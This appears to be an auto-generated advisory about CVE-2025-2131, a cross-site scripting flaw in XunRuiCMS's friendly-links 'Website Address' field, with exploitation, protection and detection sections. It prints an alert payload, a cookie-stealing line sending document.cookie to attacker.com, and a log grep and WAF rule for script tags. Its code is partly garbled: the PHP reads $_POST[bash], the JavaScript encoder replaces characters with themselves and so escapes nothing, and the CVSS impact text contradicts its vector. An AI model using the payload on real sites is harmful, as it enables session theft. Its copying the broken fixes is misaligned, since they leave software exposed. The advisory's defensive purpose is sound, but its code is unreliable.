How the CVE Works:
CVE-2025-2131 is a cross-site scripting (XSS) vulnerability found in XunRuiCMS versions up to 4.6.3. The issue resides in the “Friendly Links Handler” component, specifically in the manipulation of the “Website Address” argument. Attackers can inject malicious scripts into the website address field, which are then executed in the context of the victim’s browser when the link is rendered. This allows for unauthorized actions such as session hijacking, defacement, or data theft. The vulnerability is remotely exploitable and has been publicly disclosed, increasing the risk of active exploitation.
DailyCVE Form:
Platform: XunRuiCMS
Version: Up to 4.6.3
Vulnerability: Cross-Site Scripting (XSS)
Severity: Medium
Date: 03/09/2025
What Undercode Say:
Exploitation:
- Payload Injection: Attackers craft a malicious URL with JavaScript payloads embedded in the “Website Address” field.
Example:
<script>alert('XSS')</script>
2. Remote Execution: When the link is rendered on the victim’s browser, the script executes, potentially stealing cookies or redirecting the user.
Example:
document.location='http://attacker.com/steal?cookie='+document.cookie;
3. Automated Tools: Tools like Burp Suite or OWASP ZAP can be used to automate payload injection and testing.
Protection:
- Input Sanitization: Ensure all user inputs are sanitized to remove or escape malicious scripts.
Example (PHP):
$website_address = htmlspecialchars($_POST[bash], ENT_QUOTES, 'UTF-8');
2. Content Security Policy (CSP): Implement CSP headers to restrict the execution of inline scripts.
Example:
Content-Security-Policy: default-src 'self'; script-src 'self';
3. Output Encoding: Encode outputs to prevent script execution.
Example (JavaScript):
function encodeHTML(str) {
return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
4. Patch Management: Update XunRuiCMS to the latest version or apply patches provided by the vendor.
Detection:
- Log Monitoring: Monitor server logs for unusual patterns or repeated attempts to inject scripts.
Example Command:
grep -i "script" /var/log/apache2/access.log
2. Web Application Firewall (WAF): Deploy a WAF to filter out malicious requests.
Example (ModSecurity Rule):
SecRule ARGS "@contains <script>" "id:1001,deny,status:403,msg:'XSS Attempt'"
Additional Analytics:
- CVSS Score: 4.8 (Medium)
- Attack Vector: Network (AV:N)
- Privileges Required: High (PR:H)
- User Interaction: Required (UI:P)
- Impact: Low on Confidentiality, Integrity, and Availability (VC:N/VI:L/VA:N)
